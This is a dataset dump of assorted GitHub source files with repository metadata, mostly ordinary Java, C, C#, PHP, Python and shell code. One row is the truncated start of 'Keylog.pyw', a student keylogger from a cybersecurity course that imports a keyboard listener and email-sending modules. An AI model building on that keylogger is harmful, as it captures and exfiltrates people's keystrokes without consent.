identifier stringlengths 42 383 | collection stringclasses 1
value | open_type stringclasses 1
value | license stringlengths 0 1.81k | date float64 1.99k 2.02k ⌀ | title stringlengths 0 100 | creator stringlengths 1 39 | language stringclasses 157
values | language_type stringclasses 2
values | word_count int64 1 20k | token_count int64 4 1.32M | text stringlengths 5 1.53M | __index_level_0__ int64 0 57.5k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
https://github.com/ouyangzhiping/Info-extract/blob/master/core/src/main/java/com/ibm/drl/hbcp/extraction/extractors/GenericPresenceDetector.java | Github Open Source | Open Source | Apache-2.0 | 2,022 | Info-extract | ouyangzhiping | Java | Code | 402 | 1,264 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... | 23,578 |
https://github.com/ghomsy/makani/blob/master/avionics/servo/firmware/input.h | Github Open Source | Open Source | Apache-2.0 | 2,020 | makani | ghomsy | C | Code | 174 | 578 | /*
* Copyright 2020 Makani Technologies LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law ... | 38,609 |
https://github.com/coderzzz/FaProject/blob/master/fabric-ios/MiaowShow/Src2.0/Home/VC/FindObj/AddressController.h | Github Open Source | Open Source | MIT | null | FaProject | coderzzz | C | Code | 33 | 89 | //
// AddressController.h
// Farbic
//
// Created by sam on 2017/12/4.
// Copyright © 2017年 ALin. All rights reserved.
//
#import "BaseViewController.h"
@interface AddressController : BaseViewController
@property (nonatomic, copy) void(^DidSelect)(NSDictionary *dic);
@end
| 30,710 |
https://github.com/abdalazeze/accendo-test/blob/master/packages/teacher-app/app/Models/Homeworks.php | Github Open Source | Open Source | MIT | null | accendo-test | abdalazeze | PHP | Code | 64 | 212 | <?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Homeworks extends Model
{
use HasFactory;
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'name',
... | 51,310 |
https://github.com/LykkeCity/Lykke.Job.FinancesAlerts/blob/master/src/Lykke.Job.FinancesAlerts/Validators/DeleteAlertRuleRequestValidator.cs | Github Open Source | Open Source | MIT | null | Lykke.Job.FinancesAlerts | LykkeCity | C# | Code | 54 | 216 | using FluentValidation;
using Lykke.Job.FinancesAlerts.Client.Models;
namespace Lykke.Job.FinancesAlerts.Validators
{
public class DeleteAlertRuleRequestValidator : AbstractValidator<DeleteAlertRuleRequest>
{
public DeleteAlertRuleRequestValidator()
{
RuleFor(x => x)
... | 44,950 |
https://github.com/kibalab/K13A_Mahjong/blob/master/Assets/UdonScript/CalculateShanten.cs | Github Open Source | Open Source | MIT | 2,022 | K13A_Mahjong | kibalab | C# | Code | 790 | 1,999 |
using UdonSharp;
using UnityEngine;
using VRC.SDKBase;
using VRC.Udon;
public class CalculateShanten : UdonSharpBehaviour
{
public KList h1, h2, h1_2, t_, k_, m_, s_, p_;
public int[] hand;
public int shanten;
private int[] hc;
// acts like Hash table
void init_hash()
{
hc = n... | 18,936 |
https://github.com/jpjcjbr/vpsa-oauth-server/blob/master/config/routes.rb | Github Open Source | Open Source | MIT | 2,012 | vpsa-oauth-server | jpjcjbr | Ruby | Code | 225 | 663 | Lelylan::Application.routes.draw do
# OAuth
namespace :oauth do
get "authorization" => "oauth_authorize#show", defaults: { format: "html" }
post "authorization" => "oauth_authorize#create", defaults: { format: "html" }
delete "authorization" => "oauth_authorize#destroy", defaults: { format: "html... | 38,884 |
https://github.com/JoseHM20/PIA-Programacion-para-Ciberseguridad/blob/master/KeyLogger/Keylog.pyw | Github Open Source | Open Source | MIT | 2,021 | PIA-Programacion-para-Ciberseguridad | JoseHM20 | Python | Code | 211 | 765 | import datetime
from pynput.keyboard import Listener
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
import ssl
import subprocess
def key_list():
Date = datetime.datetime.now().strftime("%... | 35,256 |
https://github.com/botter-nidnul/urbit/blob/master/pkg/urbit/include/jets/k.h | Github Open Source | Open Source | MIT | 2,022 | urbit | botter-nidnul | C | Code | 387 | 1,695 | #ifndef U3_JETS_K_H
#define U3_JETS_K_H
/** Tier 1.
**/
u3_noun u3ka_add(u3_noun a, u3_noun b);
u3_noun u3ka_dec(u3_atom a);
u3_noun u3ka_div(u3_noun a, u3_noun b);
u3_noun u3ka_sub(u3_noun a, u3_noun b);
u3_noun u3ka_mod(u3_noun a, u3_noun b);
u3_noun u3ka_mul(u3_noun a, u3_noun b);
u3... | 24,944 |
https://github.com/harlexkhal/GameProject-1/blob/master/include/Engine/Renderer/Apis/OpenGL/Material/OpenGLUniformBuffer.h | Github Open Source | Open Source | MIT | null | GameProject-1 | harlexkhal | C | Code | 62 | 237 | //
// Created by MarcasRealAccount on 19. May. 2021.
//
#pragma once
#include "Engine/Utility/Core.h"
#ifdef RENDERER_OPENGL
#include "Engine/Renderer/Material/UniformBuffer.h"
#include <vector>
namespace gp1::renderer::opengl
{
struct OpenGLUniformBuffer : public UniformBuffer
{
public:
virtual ~OpenGLUnifo... | 26,418 |
https://github.com/prem-chand/Cassie_CFROST/blob/master/submodules/Digit_Model/gen/kin/eigen/include/Jp_RightToeBRod.h | Github Open Source | Open Source | BSD-3-Clause | null | Cassie_CFROST | prem-chand | C | Code | 25 | 115 | /*
* Automatically Generated from Mathematica.
* Thu 4 Nov 2021 17:03:20 GMT-04:00
*/
#ifndef JP_RIGHTTOEBROD_H
#define JP_RIGHTTOEBROD_H
#include <Eigen/Dense>
Eigen::Matrix<double,3,36> Jp_RightToeBRod(const Eigen::Matrix<double,36,1> &var1);
#endif
| 28,309 |
https://github.com/stevekeol/-Thinking-in-Cpp-PracticeCode/blob/master/S12/Number.h | Github Open Source | Open Source | MIT | 2,021 | -Thinking-in-Cpp-PracticeCode | stevekeol | C | Code | 191 | 505 | //: S12:Number.h
// From "Thinking in C++, 2nd Edition, Volume 1, Annotated Solutions Guide"
// by Chuck Allison, (c) 2001 MindView, Inc. all rights reserved
// Available at www.BruceEckel.com.
#ifndef NUMBER_H
#define NUMBER_H
#include <cassert>
class Number {
double val;
public:
explicit Number(double x = 0.... | 18,426 |
https://github.com/Tsingbo-Kooboo/KoobooMvc5/blob/master/Kooboo.CMS/Kooboo/Web/Mvc/Routing/RouteConfigElement.cs | Github Open Source | Open Source | BSD-3-Clause, BSD-2-Clause | 2,018 | KoobooMvc5 | Tsingbo-Kooboo | C# | Code | 344 | 840 | #region License
//
// Copyright (c) 2013, Kooboo team
//
// Licensed under the BSD License
// See the file LICENSE.txt for details.
//
#endregion
/*
Kooboo is a content management system based on ASP.NET MVC framework. Copyright 2009 Yardi Technology Limited.
This program is free software: you can redistribute it ... | 1,024 |
https://github.com/Kabimon/Streamis/blob/master/streamis-datasource/streamis-datasource-manager/src/main/java/com/webank/wedatasphere/streamis/datasource/manager/domain/StreamisDatasourceExtraInfo.java | Github Open Source | Open Source | Apache-2.0 | null | Streamis | Kabimon | Java | Code | 165 | 582 | package com.webank.wedatasphere.streamis.datasource.manager.domain;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import com.baomidou.mybatisplus.extensi... | 14,509 |
https://github.com/teachmeskills-dotnet/TMS-DotNet03-Chertok/blob/master/src/DebtTracker.Web/ViewModels/ResetPasswordViewModel.cs | Github Open Source | Open Source | MIT | 2,020 | TMS-DotNet03-Chertok | teachmeskills-dotnet | C# | Code | 100 | 277 | using System.ComponentModel.DataAnnotations;
namespace DebtTracker.Web.ViewModels
{
/// <summary>
/// Reset password model
/// </summary>
public class ResetPasswordViewModel
{
/// <summary>
/// Email
/// </summary>
[Required]
[EmailAddress]
public st... | 35,533 |
https://github.com/kRaath/plugins_testing/blob/master/templates/Evo/productdetails/basket.tpl | Github Open Source | Open Source | MIT | null | plugins_testing | kRaath | null | Spoken | 228 | 1,306 | {if ($Artikel->inWarenkorbLegbar == 1 || $Artikel->nErscheinendesProdukt == 1) || $Artikel->Variationen}
<div id="add-to-cart" class="product-buy{if $Artikel->nErscheinendesProdukt} coming_soon{/if}">
{block name="add-to-cart"}
{if $Artikel->nErscheinendesProdukt}
<div class="{if $Einstellun... | 20,390 |
https://github.com/folio-org/mod-circulation/blob/master/src/test/java/api/support/matchers/ScheduledNoticeMatchers.java | Github Open Source | Open Source | Apache-2.0 | 2,023 | mod-circulation | folio-org | Java | Code | 259 | 1,211 | package api.support.matchers;
import static api.support.matchers.TextDateTimeMatcher.isEquivalentTo;
import static com.jayway.jsonpath.matchers.JsonPathMatchers.hasJsonPath;
import static org.hamcrest.Matchers.allOf;
import static org.hamcrest.Matchers.is;
import java.time.ZonedDateTime;
import java.util.UUID;
impor... | 34,969 |
https://github.com/semarie/webkit-change-uri/blob/master/Makefile | Github Open Source | Open Source | BSD-3-Clause | 2,014 | webkit-change-uri | semarie | Makefile | Code | 24 | 88 | CFLAGS += $(shell pkg-config --cflags --libs gtk+-2.0 webkit-1.0)
CFLAGS += -Wall -ggdb
.PHONY: clean
change-uri: change-uri.c
$(CC) $(CFLAGS) -o $@ change-uri.c
clean:
rm change-uri
| 32,416 |
https://github.com/rprouse/nunit.portable.agent/blob/master/scripts/set-version.ps1 | Github Open Source | Open Source | MIT-0, MIT | 2,021 | nunit.portable.agent | rprouse | PowerShell | Code | 68 | 298 | $ReleaseVersionNumber = $env:APPVEYOR_BUILD_VERSION
$PreReleaseName = ''
If($env:APPVEYOR_PULL_REQUEST_NUMBER -ne $null) {
$PreReleaseName = '-PR-' + $env:APPVEYOR_PULL_REQUEST_NUMBER
} ElseIf($env:APPVEYOR_REPO_BRANCH -ne 'master') {
$PreReleaseName = '-' + $env:APPVEYOR_REPO_BRANCH
} Else {
$PreReleaseName = '... | 47,210 |
https://github.com/hernanmd/pharo/blob/master/src/Morphic-Widgets-List.package/SimpleHierarchicalListMorph.class/instance/keyStroke..st | Github Open Source | Open Source | MIT | 2,019 | pharo | hernanmd | null | Spoken | 75 | 221 | event handling
keyStroke: event
"Process potential command keys that are not handled by keymappings yet"
| args aCharacter |
aCharacter := event keyValue asCharacter.
event anyModifierKeyPressed ifFalse: [
self basicKeyPressed: aCharacter.
^false].
(self scrollByKeyboard: event) ifTrue: [^true].
keystroke... | 33,107 |
https://github.com/whileZhou/rdap/blob/master/rdap-service/src/test/java/org/restfulwhois/rdap/controller/RdapControllerNetworkRedirectTest.java | Github Open Source | Open Source | BSD-2-Clause | 2,015 | rdap | whileZhou | Java | Code | 628 | 2,038 | /*
* Copyright (c) 2012 - 2015, Internet Corporation for Assigned Names and
* Numbers (ICANN) and China Internet Network Information Center (CNNIC)
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditio... | 4,323 |
https://github.com/aj98-official/Weather-app/blob/master/node_modules/is-mongo/test/test.js | Github Open Source | Open Source | MIT | 2,021 | Weather-app | aj98-official | JavaScript | Code | 76 | 249 | 'use strict';
var assert = require('assert');
var exec = require('child_process').exec;
var isMongo = require('../index');
var sym = require('log-symbols');
it('Should recognise mongoDB is running - promise', function(done) {
isMongo().then(function(db) {
assert.equal(db.running, true);
assert.equal(db.type,... | 49,840 |
https://github.com/MoonCheung/react-demo/blob/master/src/views/chap14/CounterActions.jsx | Github Open Source | Open Source | MIT | null | react-demo | MoonCheung | null | Spoken | 65 | 182 | import React from 'react';
import CounterView from './CounterView';
import { observable, action } from 'mobx';
import { observer } from 'mobx-react';
@observer
class CounterActions extends React.Component {
@observable count = 0;
@action
increment = () => {
this.count++;
};
@action
decrement = () =>... | 6,539 |
https://github.com/ggrg/central-settlement/blob/master/test/util/scripts/settlementTransfer/12scenario-part1--disabled.sh | Github Open Source | Open Source | LicenseRef-scancode-unknown-license-reference, Apache-2.0 | 2,020 | central-settlement | ggrg | Shell | Code | 992 | 5,771 | #!/usr/bin/env bash
CWD="${0%/*}"
if [[ "$CWD" =~ ^(.*)\.sh$ ]];
then
CWD="."
fi
echo "Loading env vars..."
source $CWD/env.sh
#sh $CWD/00recreateDatabase.sh
#sh $CWD/01populateAdminTestData.sh
echo "---------------------------------------------------------------------"
echo "Starting script to populate test tr... | 24,729 |
https://github.com/vishnutej27/tourism/blob/master/travelapp/src/main/java/com/ssdi/controller/ReviewController.java | Github Open Source | Open Source | MIT | 2,022 | tourism | vishnutej27 | Java | Code | 103 | 441 | package com.ssdi.controller;
import java.util.Date;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMappin... | 14,828 |
https://github.com/dkjazz/SetItIn/blob/master/src/SetItIn/Abstractions/ISettings.cs | Github Open Source | Open Source | MIT | 2,021 | SetItIn | dkjazz | C# | Code | 194 | 548 | using System.Collections.Generic;
namespace SetItIn
{
public interface ISettings
{
/// <summary>
/// Gets the configuration.
/// </summary>
/// <value>
/// The configuration.
/// </value>
ISettingsConfig Config { get; }
/// <summary>
/// ... | 40,065 |
https://github.com/gokhankici/xenon/blob/master/iverilog-parser/IRExporterHelper.h | Github Open Source | Open Source | MIT | 2,021 | xenon | gokhankici | C | Code | 113 | 320 | #ifndef IR_EXPORTER_HELPER_H
#define IR_EXPORTER_HELPER_H
#include <ostream>
#include <vector>
template <typename T>
std::ostream &operator<<(std::ostream &out,
const std::vector<T *, std::allocator<T *>> &elements)
{
const unsigned element_count = elements.size();
out << "[";
if ... | 29,737 |
https://github.com/FanyaKk/CSharpUniProjects/blob/master/Projects/ContingentConstructions/2.Cinema/Program.cs | Github Open Source | Open Source | MIT | null | CSharpUniProjects | FanyaKk | C# | Code | 176 | 466 | using System;
namespace _02.Cinema
{
class Program
{
static void Main(string[] args)
{
string projection = Console.ReadLine();
int rows = int.Parse(Console.ReadLine());
int columns = int.Parse(Console.ReadLine());
double places = rows * columns;... | 23,928 |
https://github.com/seantcanavan/tidder/blob/master/user/usercontroller.go | Github Open Source | Open Source | Unlicense | null | tidder | seantcanavan | Go | Code | 39 | 130 | package user
import "net/http"
func GetUserByEmailAddressHandler(w http.ResponseWriter, r *http.Request) {
}
func GetUserByIdHandler(w http.ResponseWriter, r *http.Request) {
}
func AddUserHandler(w http.ResponseWriter, r *http.Request) {
}
func DeleteUserHandler(w http.ResponseWriter, r *http.Request) {
}
fu... | 9,946 |
https://github.com/lanemt/definitelytyped.github.io/blob/master/types/shelljs-exec-proxy/index.d.ts | Github Open Source | Open Source | MIT | 2,019 | definitelytyped.github.io | lanemt | TypeScript | Code | 56 | 178 | // Type definitions for shelljs-exec-proxy 0.1
// Project: https://github.com/nfischer/shelljs-exec-proxy#readme
// Definitions by: Nikita Volodin <https://github.com/qlonik>
// Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped
// TypeScript Version: 2.2
import * as shelljs from 'shelljs';
interface Exe... | 29,166 |
https://github.com/denisTrubicin93/flags-game/blob/master/src/containers/Exercise/ExperienceSave.tsx | Github Open Source | Open Source | MIT | 2,021 | flags-game | denisTrubicin93 | TSX | Code | 164 | 630 | import React from 'react';
import { useHistory } from 'react-router-dom';
import { useSelector } from 'react-redux';
import { TransferHint } from '../common/TransferHint';
import back from '../Entertainment/assets/Common/back.png';
import next from '../Entertainment/assets/Common/next.png';
import { DeviceService } fro... | 7,580 |
https://github.com/mhubii/GIFT-Grab/blob/master/src/opencv/opencv_video_source.h | Github Open Source | Open Source | BSD-3-Clause | 2,022 | GIFT-Grab | mhubii | C | Code | 293 | 827 | #ifndef __OPENCV_DATA_SOURCE_H__
#define __OPENCV_DATA_SOURCE_H__
#include "ivideosource.h"
#include "macros.h"
#include "except.h"
#include "broadcastdaemon.h"
// OpenCV includes
#include "opencv2/opencv.hpp"
//!
//! \brief OpenCV video source
//!
//! Can be used for reading files as well as streaming
//! from devi... | 7 |
https://github.com/CMS-HGCAL/cmssw/blob/master/L1Trigger/TrackTrigger/plugins/ProducerHPH.cc | Github Open Source | Open Source | Apache-2.0 | 2,023 | cmssw | CMS-HGCAL | C++ | Code | 103 | 464 | // This ESproducer produces configuration needed by HitPatternHelper
//
// Created by J.Li on 1/23/21.
//
#include "FWCore/Framework/interface/ModuleFactory.h"
#include "FWCore/Framework/interface/ESProducer.h"
#include "FWCore/Framework/interface/ESHandle.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#... | 13,493 |
https://github.com/benbenbob1/stream/blob/master/Stream/ViewController.m | Github Open Source | Open Source | Apache-2.0 | 2,015 | stream | benbenbob1 | Objective-C | Code | 543 | 2,569 | //
// ViewController.m
// Stream
//
// Created by Ben Brown on 10/3/15.
// Copyright (c) 2015 Ben Brown. All rights reserved.
//
#import "ViewController.h"
#import <AFNetworking.h>
@interface ViewController ()
@end
@implementation ViewController
- (void)tic {
NSString *influx = @"http://104.131.149.93:3168... | 13,419 |
https://github.com/marianopeck/Seaside-1/blob/master/repository/Seaside-Adaptors-Comanche.package/WATemporaryFile.class/instance/readFromChunk..st | Github Open Source | Open Source | MIT | 2,022 | Seaside-1 | marianopeck | null | Spoken | 50 | 106 | initialization
readFromChunk: aChunk
"This is where we actually read the file contents chunk wise
and save it to disk."
| stream |
self contentType: aChunk contentType seasideMimeType.
stream := StandardFileStream newFileNamed: (self temporaryDirectory fullNameFor: self temporaryFileName).
fileSize := [ stream b... | 31,328 |
https://github.com/MitsuhaMiyamizu/altanalyze/blob/master/misopy/sashimi_plot/plot.py | Github Open Source | Open Source | Apache-2.0 | 2,020 | altanalyze | MitsuhaMiyamizu | Python | Code | 29 | 68 | ##
## Old Sashimi plot interface
##
def main():
print "plot.py interface to Sashimi plot is now deprecated. " \
"Please run \'sashimi_plot\' instead."
if __name__ == "__main__":
main()
| 32,863 |
https://github.com/KeisukeYamashita/src-cli/blob/master/cmd/src/config.go | Github Open Source | Open Source | Apache-2.0 | 2,021 | src-cli | KeisukeYamashita | Go | Code | 452 | 1,154 | package main
import (
"context"
"errors"
"flag"
"fmt"
"github.com/sourcegraph/src-cli/internal/api"
)
var configCommands commander
func init() {
usage := `'src config' is a tool that manages global, organization, and user settings on a Sourcegraph instance.
The effective setting is computed by shallow-mergin... | 11,371 |
https://github.com/houyaowei/micro-front-end-qiankun/blob/master/app1/src/service/user.js | Github Open Source | Open Source | MIT | 2,022 | micro-front-end-qiankun | houyaowei | JavaScript | Code | 11 | 38 |
import axios from '../utils/axios'
export function getUserInfo() {
return axios.get('/user/info');
}
| 16,813 |
https://github.com/SunOfHomeBoy/shrsServer/blob/master/src/api/foundation/editMemberTest.tsx | Github Open Source | Open Source | Apache-2.0 | null | shrsServer | SunOfHomeBoy | TypeScript | Code | 26 | 201 | [
{
"openID": "3NWYxZWZlMWY2OTAwYTQ0NmM4YTk0ZmQ3ZTY2NThhZTg47",
"username": "HongJiang",
"realname": "傻逼",
"sex": 0,
"address": "北京市通州区新华联小区北",
"birthdayYear": 2000,
"birthdayMonth": 12,
... | 10,809 |
https://github.com/pulipulichen/PACOR/blob/master/local/0718-social-network/vue-app-watch.js | Github Open Source | Open Source | MIT | 2,019 | PACOR | pulipulichen | JavaScript | Code | 15 | 46 | var appWatch = {
inputTextareaNode () {
this.drawSocialNetwork()
},
inputTextareaEdge () {
this.drawSocialNetwork()
}
} | 38,802 |
https://github.com/vinstce/AI/blob/master/solutions/Virtual-Assistant/src/csharp/skills/calendarskill/ServiceClients/UserService.cs | Github Open Source | Open Source | MIT | null | AI | vinstce | C# | Code | 62 | 215 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.Graph;
namespace CalendarSkill.ServiceClients
{
public class UserService : IUserService
{
private IUserService userService;
public UserService(IUserService userService)
{
... | 26,246 |
https://github.com/jdelon02/civitest1/blob/master/vendor/civicrm/civicrm-core/CRM/Core/HTMLInputCoder.php | Github Open Source | Open Source | MIT | null | civitest1 | jdelon02 | PHP | Code | 273 | 564 | <?php
/*
+--------------------------------------------------------------------+
| CiviCRM version 5 |
+--------------------------------------------------------------------+
| Copyright CiviCRM LLC (c) 2004-2019 |
+---------------------... | 18,731 |
https://github.com/AtomicBlom/MLEM/blob/master/MLEM.Ui/Elements/ScrollBar.cs | Github Open Source | Open Source | MIT | 2,022 | MLEM | AtomicBlom | C# | Code | 1,050 | 2,724 | using System;
using System.Linq;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Microsoft.Xna.Framework.Input.Touch;
using MLEM.Extensions;
using MLEM.Input;
using MLEM.Misc;
using MLEM.Textures;
using MLEM.Ui.Style;
namespace MLEM.Ui.Elements {
/// <summary>
/// A scroll bar elem... | 50,903 |
https://github.com/cpswarm/modelio3.8.x/blob/master/src/main/java/org/modelio/module/attacktreedesigner/utils/elementmanager/representation/DiagramElementStyle.java | Github Open Source | Open Source | Apache-2.0 | 2,020 | modelio3.8.x | cpswarm | Java | Code | 80 | 500 | package org.modelio.module.attacktreedesigner.utils.elementmanager.representation;
import com.modeliosoft.modelio.javadesigner.annotations.objid;
@objid ("35595e54-c666-4514-a1c1-fc99c7062489")
public enum DiagramElementStyle {
OPERATOR ("NONE", "IMAGE"),
ATTACK ("SIMPLE", "SIMPLE"),
TREE_REFERENCE ("SIMP... | 47,236 |
https://github.com/barentsen/aas_poster/blob/master/figs/faint.eps | Github Open Source | Open Source | MIT | 2,018 | aas_poster | barentsen | PostScript | Code | 20,000 | 96,021 | %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 466 516 %%HiResBoundingBox: 0.000000 0.000000 465.763478 515.673418 %%Creator: GPL Ghostscript 919 (ps2write) %%LanguageLevel: 2 %%CreationDate: D:20180102164341-08'00' %%EndComments %%BeginProlog save countdictstack mark newpath /showpage {} def /setpagedevice {pop} def %%End... | 14,450 |
https://github.com/bbossgroups/bboss-elastic-tran/blob/master/bboss-elasticsearch-rest-jdbc/src/main/java/org/frameworkset/tran/schedule/Status.java | Github Open Source | Open Source | Apache-2.0 | 2,022 | bboss-elastic-tran | bbossgroups | Java | Code | 370 | 1,041 | package org.frameworkset.tran.schedule;
/**
* Copyright 2008 biaoping.yin
* <p>
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
... | 32,275 |
https://github.com/morgo/dbdeployer-tidb-template/blob/master/new-templates/single/add_option_template | Github Open Source | Open Source | Apache-2.0 | 2,019 | dbdeployer-tidb-template | morgo | Shell | Code | 124 | 359 | #!/bin/bash
{{.Copyright}}
# Generated by dbdeployer {{.AppVersion}} using {{.TemplateName}} on {{.DateTime}}
source {{.SandboxDir}}/sb_include
export LD_LIBRARY_PATH=$CLIENT_LD_LIBRARY_PATH
curdir=$SBDIR
cd $curdir
if [ -z "$*" ]
then
echo "# Syntax $0 options-for-my.cnf [more options] "
exit
fi
CHANGED=''
... | 16,418 |
https://github.com/SoftFluent/SoftFluent.Windows/blob/master/SoftFluent.Windows/SoftFluent.Windows/PropertyGridDataTemplate.cs | Github Open Source | Open Source | MIT | 2,021 | SoftFluent.Windows | SoftFluent | C# | Code | 243 | 681 | using System;
using System.Collections.Generic;
using System.Windows;
using System.Windows.Markup;
using SoftFluent.Windows.Utilities;
namespace SoftFluent.Windows
{
[ContentProperty("DataTemplate")]
public class PropertyGridDataTemplate
{
private class NullableEnum { }
public static readon... | 33,998 |
https://github.com/TaskForceIT/pow3r-hannover-2018/blob/master/modules/pow3r/utility.js | Github Open Source | Open Source | MIT | null | pow3r-hannover-2018 | TaskForceIT | JavaScript | Code | 325 | 996 | const fs = require("fs");
const barcodeGenerator = require("bwip-js");
const PdfPrinter = require("pdfmake");
const nodemailer = require("nodemailer");
function generateBarcode(row, callback) {
let barcodeConfig = {
bcid: "ean13",
text: row["ean"],
scale: 1,
monochrome: true,
includetext: true,
... | 7,298 |
https://github.com/M4rukku/impact_of_non_iid_data_in_federated_learning/blob/master/sources/flwr/flwr_strategies_decorators/saving_strategy_decorators_utils.py | Github Open Source | Open Source | MIT | null | impact_of_non_iid_data_in_federated_learning | M4rukku | Python | Code | 116 | 689 | import pickle
from os import PathLike
from pathlib import Path
import numpy as np
EVALUATION_METRICS_BASE_FILENAME = "evaluation_metrics_"
CENTRALISED_EVALUATION_METRICS_BASE_FILENAME = "centralised_evaluation_metrics_"
def create_evaluation_metrics_filename(saving_dir: PathLike,
... | 44,199 |
https://github.com/andyl/BAMRU-Private/blob/master/app/assets/javascripts/events/helpers/CnTbodyReferencePhotosHelpers.js.coffee | Github Open Source | Open Source | Unlicense | 2,016 | BAMRU-Private | andyl | CoffeeScript | Code | 61 | 361 | BB.Helpers.CnTbodyReferencePhotosHelpers =
genPhotoRows: ->
authorLink = (photo) ->
memId = photo.get('member_id')
member = BB.members.get(memId)
name = member.shortName()
"<a href='/members/#{memId}'>#{name}</a>"
editLink = (photo) ->
"<a href='#' class='editPhoto' data-id='#... | 15,867 |
https://github.com/stajichlab/Chytrid_Virus/blob/master/search/genome_NCVOG/Allma1.nt.TFASTX.tab | Github Open Source | Open Source | MIT | null | Chytrid_Virus | stajichlab | SQL | Code | 20,000 | 57,726 | NCVOG0719-consensus Supercontig_1 30.00 170 118 1 55 223 829717 830223 4.4e-16 85.1 NCVOG0719-consensus Supercontig_1 28.30 212 145 7 15 223 749542 748928 1.6e-14 80.0 NCVOG0719-consensus Supercontig_19 31.56 225 130 24 78 278 200843 200174 1.2e-12 73.7 NCVOG0719-consensus Supercontig_5 26.64 289 138 74 47 261 1528780 ... | 49,495 |
https://github.com/merced317/scirun4plus/blob/master/src/Core/Algorithms/DataIO/MRCReader.cc | Github Open Source | Open Source | MIT | 2,018 | scirun4plus | merced317 | C++ | Code | 1,250 | 4,275 | /*
For more information, please see: http://software.sci.utah.edu
The MIT License
Copyright (c) 2009 Scientific Computing and Imaging Institute,
University of Utah.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Softwa... | 3,886 |
https://github.com/schema-app/schema/blob/master/src/app/tab2/tab2.page.scss | Github Open Source | Open Source | MIT | 2,022 | schema | schema-app | SCSS | Code | 26 | 96 | #stats-icon {
font-size: 3em;
}
.graph-style {
margin-left: 10px;
margin-right: 10px;
padding-right: 20px;
}
.blurb-style {
font-size: 13px;
color: #000000;
}
p {
white-space: pre-wrap;
}
| 50,573 |
https://github.com/j3k0/Advertising-ANE/blob/master/ios/Advertising/adapter/AmazonBannerAdapter.m | Github Open Source | Open Source | BSD-3-Clause | 2,021 | Advertising-ANE | j3k0 | Objective-C | Code | 298 | 1,233 | //
// AmazonBannerAdapter.m
// Advertising
//
// Created by Tsang Wai Lam on 29/8/14.
//
//
#if ENABLE_AMAZON
#import "AmazonBannerAdapter.h"
@implementation AmazonBannerAdapter
@synthesize adView=adView_;
- (void) dealloc {
adView_.delegate=nil;
self.adView=nil;
[super dealloc];
}
- (voi... | 15,690 |
https://github.com/jochumdev/socketrpc/blob/master/setup.py | Github Open Source | Open Source | BSD-3-Clause, LicenseRef-scancode-unknown-license-reference | 2,011 | socketrpc | jochumdev | Python | Code | 74 | 188 | #!/usr/bin/env python
from distutils.core import setup
from socketrpc import __version__
setup(
name = 'socketrpc',
version = __version__,
author = 'Rene Jochum',
author_email = 'rene@jrit.at',
description = 'simple socket rpc client/server for gevent and twisted',
url = 'http://github.com/pc... | 11,836 |
https://github.com/yngvark/apache-pulsar-websockets-example/blob/master/consumer.js | Github Open Source | Open Source | Unlicense | 2,021 | apache-pulsar-websockets-example | yngvark | JavaScript | Code | 35 | 145 | var WebSocket = require('ws'),
topic = "ws://localhost:38080/ws/v2/consumer/persistent/public/default/mytopic/my-sub",
ws = new WebSocket(topic);
ws.on('message', function(message) {
var receiveMsg = JSON.parse(message);
console.log('Received: %s - payload: %s', message, new Buffer(receiveMsg.payload, ... | 6,845 |
https://github.com/dmanning23/InsertCoinBuddy/blob/master/InsertCoinBuddy/InsertCoinBuddy.SharedProject/InsertCoinService.cs | Github Open Source | Open Source | MIT | 2,018 | InsertCoinBuddy | dmanning23 | C# | Code | 632 | 1,975 | using Microsoft.Xna.Framework.Input;
using System;
using System.Collections.Generic;
using System.Linq;
namespace InsertCoinBuddy
{
public class InsertCoinService : IInsertCoinService
{
#region Properties
public event EventHandler<CoinEventArgs> OnCoinAdded;
public event EventHandler<CoinEventArgs> OnPlayer... | 26,134 |
https://github.com/nshekarb4u/scala-examples/blob/master/src/main/scala/test/classes/CompanionObjectClass.scala | Github Open Source | Open Source | MIT | null | scala-examples | nshekarb4u | Scala | Code | 85 | 169 | package test.classes
/**
* Companion objects needs to be in the same source file.
* Companion objects and classes have access to each others members.
*/
class Instances (private val msg: String) {
Instances.instanceCount += 1
println(msg)
}
object Instances {
private var instanceCount: Int = 0
def getInstance... | 27,931 |
https://github.com/miesli/mopidy-radionet/blob/master/mopidy_radionet/library.py | Github Open Source | Open Source | Apache-2.0 | null | mopidy-radionet | miesli | Python | Code | 293 | 1,325 | from __future__ import unicode_literals
import logging
import re
from mopidy import backend
from mopidy.models import Album, Artist, Ref, SearchResult, Track
logger = logging.getLogger(__name__)
class RadioNetLibraryProvider(backend.LibraryProvider):
root_directory = Ref.directory(uri='radionet:root', name='Ra... | 38,222 |
